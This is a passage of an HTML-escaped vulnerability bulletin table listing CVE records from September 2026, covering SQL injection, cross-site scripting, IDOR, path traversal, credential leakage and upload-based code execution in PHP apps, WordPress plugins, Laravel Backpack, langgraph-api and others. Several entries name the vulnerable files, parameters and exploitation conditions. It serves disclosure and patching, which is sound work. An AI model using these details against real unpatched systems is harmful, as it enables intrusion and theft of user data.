&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93963&quot; target=&quot;_blank&quot;&gt;CVE-2026-93963&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Leave Management System&lt;/td&gt;
&lt;td&gt;A flaw has been found in itsourcecode Leave Management System 1.0. This affects an unknown part of the file /module/department/index.php. This manipulation of the argument ID causes sql injection. It is possible to initiate the attack remotely. The exploit has been published and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94032&quot; target=&quot;_blank&quot;&gt;CVE-2026-94032&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Loan Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in itsourcecode Loan Management System 1.0. The impacted element is an unknown function of the file navbar.php. Executing a manipulation of the argument page can lead to cross site scripting. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90795&quot; target=&quot;_blank&quot;&gt;CVE-2026-90795&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--Sales and Inventory System&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in itsourcecode Sales and Inventory System 1.0. Impacted is an unknown function of the file /pages/pro_edit1.php. Such manipulation of the argument prodcode leads to sql injection. The attack can be launched remotely. The exploit has been disclosed publicly and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90700&quot; target=&quot;_blank&quot;&gt;CVE-2026-90700&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;james-heinrich--getid3&lt;/td&gt;
&lt;td&gt;getID3 through 1.9.26 contains an XML external entity injection vulnerability in the XML2array helper function that fails to properly disable entity loading on PHP before 8.0. Attackers can craft malicious XML metadata in media files to disclose local files, perform server-side request forgery, or cause denial of service through entity expansion.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94108&quot; target=&quot;_blank&quot;&gt;CVE-2026-94108&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jkohlbach--Store Exporter Export WooCommerce Products, Orders, Subscriptions, Customers&lt;/td&gt;
&lt;td&gt;The Store Exporter - Export WooCommerce Products, Orders, Subscriptions, Customers plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.8.0 via the &#039;filename&#039; parameter parameter. This makes it possible for authenticated attackers, with shop manager-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16777&quot; target=&quot;_blank&quot;&gt;CVE-2026-16777&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jleehr--canto-saas-api&lt;/td&gt;
&lt;td&gt;canto-saas-api is a PHP library for interacting with the Canto SaaS API. Prior to version 3.0.0, OAuth2Request::getQueryParams() places app_id, app_secret, refresh_token, and code in the URL query string of token POST requests, allowing access logs, proxy logs, and APM traces to persist the credentials in plaintext. When a token request fails, OAuth2::obtainAccessToken() also passes the credential-bearing Guzzle request URI into AuthorizationFailedException, so application logs and error trackers can record the same secrets. An attacker with access to affected telemetry can obtain Canto credentials and use them to request access tokens for the tenant. This issue is fixed in version 3.0.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55375&quot; target=&quot;_blank&quot;&gt;CVE-2026-55375&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jleehr--canto-saas-api&lt;/td&gt;
&lt;td&gt;canto-saas-api is a PHP library for interacting with the Canto SaaS API. Prior to version 3.0.0, Request::buildRequestUrl() joins values returned by Request::getPathVariables() without encoding individual path segments, including the scheme and contentId values used by GetContentDetailsRequest. When a consuming application supplies an untrusted path variable value, path traversal sequences, query delimiters, or fragment delimiters can change the destination endpoint before AbstractEndpoint::sendRequest() attaches the configured authentication token. An attacker who controls that path variable value through the consuming application can cause unintended reads or writes with the configured application&#039;s privileges on the same Canto instance, but applications that pass only trusted and validated identifiers are not exploitable. This issue is fixed in version 3.0.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55374&quot; target=&quot;_blank&quot;&gt;CVE-2026-55374&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;john-dagelmore--GPTranslate Multilingual AI Translation Agent for WordPress: Translate Your Site with AI&lt;/td&gt;
&lt;td&gt;The GPTranslate - Multilingual AI Translation Agent for WordPress: Translate Your Site with AI plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.34.6 via the enqueue_frontend_scripts. This makes it possible for unauthenticated attackers to extract the plaintext third-party AI provider API key (OpenAI, DeepL, xAI/Grok, Gemini, Claude, or Google Cloud Translation) - a credential granting billed account access - by fetching any public page and applying the inverse transformation bundled in the plugin&#039;s own public JavaScript asset. This exposure affects the default configuration (gpt-3.5-turbo in client mode) and all supported non-DeepSeek providers; only deepseek-* models and gpt-* models configured in server-proxy mode correctly suppress key emission.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89278&quot; target=&quot;_blank&quot;&gt;CVE-2026-89278&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;johndarrel--Hide My WP Ghost Security &amp;amp; Firewall&lt;/td&gt;
&lt;td&gt;The WP Ghost (Hide My WP Ghost) - Security &amp;amp; Firewall plugin for WordPress is vulnerable to Open Redirect in all versions up to, and including, 7.0.02. This is due to the plugin not properly validating user input. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into clicking on a specially crafted link. Exploitation requires tricking a logged-in user into clicking a crafted logout URL; the victim is fully logged out via wp_logout() before the malicious redirect is issued, making the logout irreversible as part of the attack chain.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7527&quot; target=&quot;_blank&quot;&gt;CVE-2026-7527&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jointakahe--takahe&lt;/td&gt;
&lt;td&gt;Takahe through 0.11.0 fails to restrict URL schemes in link hrefs within federated post content and profile summaries, allowing remote actors to inject javascript: links. Attackers can deliver federated content with malicious javascript: hrefs that execute in the instance origin when clicked, enabling session hijacking or impersonation of viewers.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91146&quot; target=&quot;_blank&quot;&gt;CVE-2026-91146&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JusticeRage--Manalyze&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in JusticeRage Manalyze 1.0.0. The affected element is the function PE::_parse_debug of the file manape/pe.cpp of the component PE Parser. The manipulation of the argument misc.Length results in integer underflow. The attack may be performed from remote. The patch is identified as 3e299685759f4f767088871de58c5d07f98ee382. A patch should be applied to remediate this issue.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94090&quot; target=&quot;_blank&quot;&gt;CVE-2026-94090&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;KA Informatics Technologies Ltd. Co.--Bar Association Website&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) vulnerability in KA Informatics Technologies Ltd. Co. Bar Association Website allows Reflected XSS. This issue affects Bar Association Website: through 18092026.&amp;nbsp; NOTE: The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11757&quot; target=&quot;_blank&quot;&gt;CVE-2026-11757&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kanbn--kan&lt;/td&gt;
&lt;td&gt;kan through 0.6.0 fails to properly validate board creation permissions in the GitHub project import endpoint, allowing guests to create boards despite lacking board:create permission. Attackers can bypass authorization checks by using the importProjects mutation to create boards while remaining blocked on direct creation paths.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92802&quot; target=&quot;_blank&quot;&gt;CVE-2026-92802&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;KingAddons.com--King Addons for Elementor&lt;/td&gt;
&lt;td&gt;Unauthenticated Insecure Direct Object References (IDOR) in King Addons for Elementor &amp;lt;= 51.1.81 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66575&quot; target=&quot;_blank&quot;&gt;CVE-2026-66575&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kiwitcms--Kiwi&lt;/td&gt;
&lt;td&gt;Kiwi TCMS is an open source test management system. Prior to 16.1, the account confirmation endpoint accepted an unvalidated next parameter, allowing an unauthenticated attacker to create a URL on a trusted Kiwi TCMS hostname that redirects a victim to an arbitrary external domain. The trusted origin can support credential-harvesting pages, bypass email security filters and link-reputation checks that allowlist the organization&#039;s domain, or deliver malware through a convincing account-confirmation lure. This issue is fixed in version 16.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54724&quot; target=&quot;_blank&quot;&gt;CVE-2026-54724&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kornelski--http-cache-semantics&lt;/td&gt;
&lt;td&gt;http-cache-semantics through 4.2.0 contains a cache validation vulnerability in the _varyMatches() function that fails to properly validate Vary header wildcards due to byte-for-byte string comparison. Attackers can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93750&quot; target=&quot;_blank&quot;&gt;CVE-2026-93750&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Kozea--WeasyPrint&lt;/td&gt;
&lt;td&gt;WeasyPrint helps web developers to create PDF documents. Prior to 70.0, server-side applications that configure a restrictive url_fetcher and pass attacker-influenced values to HTML.write_pdf() can have the restriction bypassed through the xmp_metadata or stylesheets options. In weasyprint/pdf/init.py, xmp_metadata calls select_source() without the document url_fetcher, allowing an accessible local file to be read and embedded verbatim in the output PDF. In weasyprint/document.py, stylesheets constructs CSS() without the document url_fetcher, allowing local or internal resource loading and propagating the permissive fetcher through nested CSS imports and url() references. The stylesheets channel applies fetched resources but does not by itself disclose stylesheet comments verbatim. This issue is fixed in version 70.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55073&quot; target=&quot;_blank&quot;&gt;CVE-2026-55073&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kurudrive--VK All in One Expansion Unit&lt;/td&gt;
&lt;td&gt;The VK All in One Expansion Unit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;vkExUnit_cta_img_position&#039; Post Meta in all versions up to, and including, 9.118.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The sanitize_text_field callback applied on save does not strip double-quote characters or on* event-handler attributes, and the output filter Vk_Call_To_Action::safe_kses_post() only rewrites disallowed iframe elements while returning all other content verbatim, leaving the injected payload intact in the rendered HTML.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17586&quot; target=&quot;_blank&quot;&gt;CVE-2026-17586&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;langchain-ai--langgraph-api&lt;/td&gt;
&lt;td&gt;langgraph-api implements the LangGraph API for rapid development and testing. Prior to 0.10.0, langgraph-api permits a run or cron to specify a relative webhook target that is delivered through an in-process loopback transport, and the authentication middleware treats that transport as internal without applying the authentication context used for external requests. In deployments that rely on per-user authorization to separate threads and runs, an authenticated user can direct a webhook to the server&#039;s own thread and run routes, allowing creation of a run on or modification of another user&#039;s thread and limited incorporation of the targeted thread&#039;s metadata into the created run record. The affected path requires webhook targets and per-user authorization boundaries; deployments that deliberately re-enable loopback delivery should restrict it to controlled same-process routes because those webhooks remain unauthenticated. This issue is fixed in version 0.10.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55235&quot; target=&quot;_blank&quot;&gt;CVE-2026-55235&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;langchain-ai--langgraph-api&lt;/td&gt;
&lt;td&gt;langgraph-api implements the LangGraph API for rapid development and testing. Prior to 0.10.0, the langgraph-api run-creation path authorizes the assistant attached to a run by dispatching assistants.search with an incomplete value instead of the assistants.read event used by direct reads and cron creation. In deployments with custom resource handlers that register only assistants.read, omit an assistants.search handler, and have no global fallback handler, no applicable handler supplies an owner filter, allowing a low-privileged user to reference another user&#039;s private assistant through POST /runs or POST /threads/{thread_id}/runs. The run-creation response can disclose the private assistant&#039;s metadata, config, and context, and the run can execute using that assistant&#039;s configuration. Deployments without custom authorization handlers, or with an equivalent owner filter applied through a global handler or across all assistant events, are not affected. This issue is fixed in version 0.10.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55236&quot; target=&quot;_blank&quot;&gt;CVE-2026-55236&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;laradashboard--laradashboard&lt;/td&gt;
&lt;td&gt;LaraDashboard versions 0.9.0 through 1.2.2 fail to sanitize SVG file content during media upload, allowing authenticated users with only the media.create permission to upload malicious SVG files containing script tags. When any user including administrators opens the stored SVG file served inline from the application origin, the embedded JavaScript executes in the dashboard context, enabling session hijacking and administrative account takeover.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90931&quot; target=&quot;_blank&quot;&gt;CVE-2026-90931&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Laravel-Backpack--CRUD&lt;/td&gt;
&lt;td&gt;backpack/crud provides Create, Read, Update &amp;amp; Delete (CRUD) functions for Backpack, a collection of Laravel packages that help users build custom administration panels. From 6.0.0 until 6.8.14 and 7.0.38, MyAccountController::postAccountInfoForm at POST /admin/edit-account-info permits AccountInfoRequest to update backpack_authentication_column(), which is email by default, without requiring current_password or otherwise verifying the account&#039;s existing password. An attacker with a temporary authenticated Backpack session can change the account-recovery email and later use the password-reset flow after the original session expires, converting session compromise into persistent account takeover. The same mechanism permits an insider to set a personal recovery address before access is revoked. The separate password-change endpoint is not affected because it verifies old_password. This issue is fixed in versions 6.8.14 and 7.0.38.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54176&quot; target=&quot;_blank&quot;&gt;CVE-2026-54176&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Laravel-Backpack--CRUD&lt;/td&gt;
&lt;td&gt;backpack/crud provides Create, Read, Update &amp;amp; Delete (CRUD) functions for Backpack, a collection of Laravel packages that help users build custom administration panels. From 6.0.0 until 6.8.14 and 7.0.38, HasUploadFields methods uploadFileToDisk and uploadMultipleFilesToDisk, used through CrudTrait, and the withFiles() path through FileNameGenerator do not internally reject server-executable file types. An authenticated administrator can achieve remote code execution by using an upload-enabled CRUD field without mimes: and mimetypes: validation when the public disk is web-accessible through php artisan storage:link and the web-server and PHP-FPM configuration executes the stored extension. The legacy path preserves an accepted extension and the newer path derives an extension without blocking dangerous types. The package-level restriction is defense in depth and does not replace application-level upload validation. This issue is fixed in versions 6.8.14 and 7.0.38.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54177&quot; target=&quot;_blank&quot;&gt;CVE-2026-54177&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Laravel-Backpack--CRUD&lt;/td&gt;
&lt;td&gt;backpack/crud provides Create, Read, Update &amp;amp; Delete (CRUD) functions for Backpack, a collection of Laravel packages that help users build custom administration panels. From 6.0.0 until 6.8.15 and 7.0.47, HasMany and MorphMany handling through attachManyRelation during CRUD create and update operations accepts submitted child primary keys without consistently restricting updates to records belonging to the current parent or permitted by the developer-defined relation scope. An authenticated low-privilege administrator who can edit a parent form exposing an affected multiple-relation field can cause unrelated child records to be reassigned, detached, nulled, or deleted across ownership or tenant boundaries. Exploitation requires related records that should not be attachable or removable by that administrator and the absence of additional application-level authorization around submitted relation values. This issue is distinct from earlier direct main-entity CRUD scoping fixes because it affects secondary models modified by relationship-saving logic. This issue is fixed in versions 6.8.15 and 7.0.47.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57570&quot; target=&quot;_blank&quot;&gt;CVE-2026-57570&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Laravel-Backpack--CRUD&lt;/td&gt;
&lt;td&gt;backpack/crud provides Create, Read, Update &amp;amp; Delete (CRUD) functions for Backpack, a collection of Laravel packages that help users build custom administration panels. From 6.0.0 until 6.8.14 and 7.0.38, src/resources/views/crud/columns/color.blade.php inverts the escaped and raw rendering branches controlled by $column[&#039;escaped&#039;], which defaults to true, causing $column[&#039;text&#039;] to be rendered unescaped by default. An attacker who can store an unsanitized value in a color column can execute script in the browser of a user who views the CRUD list, including an administrator, with access to the victim&#039;s session-backed application capabilities. Exploitation requires write access to the stored color value and a victim viewing the list. This issue is fixed in versions 6.8.14 and 7.0.38.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54181&quot; target=&quot;_blank&quot;&gt;CVE-2026-54181&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;latepoint--Appointment Booking Plugin LatePoint | Calendar &amp;amp; Scheduling for WordPress&lt;/td&gt;
&lt;td&gt;The LatePoint - Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.6.3 via the LatePointAbilityDeleteBooking::execute due to missing validation on a user controlled key. This makes it possible for attackers, with LatePoint Agent-level access and above, to read bookings and customer PII (full name, email, phone, and notes) assigned to other LatePoint agents, and delete arbitrary bookings by supplying any booking ID. This vulnerability is only exploitable when an administrator has enabled the Abilities API toggles (latepoint_abilities_api, latepoint_abilities_api_delete, and/or latepoint_abilities_api_edit) in the plugin settings.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13471&quot; target=&quot;_blank&quot;&gt;CVE-2026-13471&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;latepoint--Appointment Booking Plugin LatePoint | Calendar &amp;amp; Scheduling for WordPress&lt;/td&gt;
&lt;td&gt;The Appointment Booking Plugin - LatePoint | Calendar &amp;amp; Scheduling for WordPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.6.9 via the set_customer_object due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to enumerate arbitrary customer records and disclose personally identifiable information - including first name, last name, email address, and phone number - by iterating the customer[id] parameter. This issue is exploitable only when the site is configured with customer authentication disabled (guest checkout enabled).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18441&quot; target=&quot;_blank&quot;&gt;CVE-2026-18441&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LibreTranslate--LibreTranslate&lt;/td&gt;
&lt;td&gt;LibreTranslate through 1.9.6 omits the access_check decorator from the download_file route, allowing unauthenticated access to translated files. Attackers can bypass API key requirements and abuse ban lists to download files without authentication on protected instances.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92803&quot; target=&quot;_blank&quot;&gt;CVE-2026-92803&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;litespeedtech--LiteSpeed Cache&lt;/td&gt;
&lt;td&gt;The LiteSpeed Cache plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the &#039;esi&#039; parameter in all versions up to, and including, 7.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. Exploitation requires that the attacker supply a validly signed &#039;esi&#039; value in the GET query string while submitting a separate attacker-controlled &#039;esi&#039; payload as a POST body field, relying on PHP&#039;s default $_REQUEST merge order to have the POST value take precedence at the point of execution.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76579&quot; target=&quot;_blank&quot;&gt;CVE-2026-76579&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;lmfit--asteval&lt;/td&gt;
&lt;td&gt;ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter&#039;s safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55244&quot; target=&quot;_blank&quot;&gt;CVE-2026-55244&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;lukevella--rallly&lt;/td&gt;
&lt;td&gt;Rallly before 4.15.0 contains an information disclosure vulnerability in the polls.get tRPC procedure that returns scheduled-event invitee names and email addresses to unauthenticated callers. Attackers can access a poll&#039;s urlId from public invite links to retrieve sensitive invitee information regardless of privacy settings.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92565&quot; target=&quot;_blank&quot;&gt;CVE-2026-92565&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;M66B--FairEmail&lt;/td&gt;
&lt;td&gt;FairEmail is a fully featured, open source, privacy-friendly email app for Android. Prior to 1.2319, the ActivityAMP AMP message renderer in app/src/main/java/eu/faircode/email/ActivityAMP.java enables JavaScript in its WebView but incompletely sanitizes untrusted message HTML. For non-allowlisted hosts, script.removeAttr(&quot;src&quot;) leaves inline script elements in the document and does not reject event-handler attributes or javascript: URLs on other elements. A crafted AMP email can execute arbitrary JavaScript when a recipient opens the message and enables the AMP toggle. The script can read the message DOM, exfiltrate message data, and display phishing overlays within the message-body area. Exploitation requires the recipient to enable the AMP toggle, and practical exposure is reduced because AMP email is uncommon. This issue is fixed in version 1.2319.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54521&quot; target=&quot;_blank&quot;&gt;CVE-2026-54521&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MacWarrior--clipbucket-v5&lt;/td&gt;
&lt;td&gt;ClipBucket v5 before 5.5.3-#182 contains a blind SQL injection vulnerability that allows authenticated users to extract arbitrary data from the database by submitting the check_photo parameter as an array to bypass the clean_requests() sanitization function in ClipBucket.class.php. Attackers can pass unsanitized array elements through the bulk deletion handler in manage_photos.php to photo_exists() in photos.class.php, where non-numeric values are interpolated directly into a SQL query, enabling time-based blind SQL injection to retrieve credential hashes and other sensitive data.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77927&quot; target=&quot;_blank&quot;&gt;CVE-2026-77927&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MacWarrior--clipbucket-v5&lt;/td&gt;
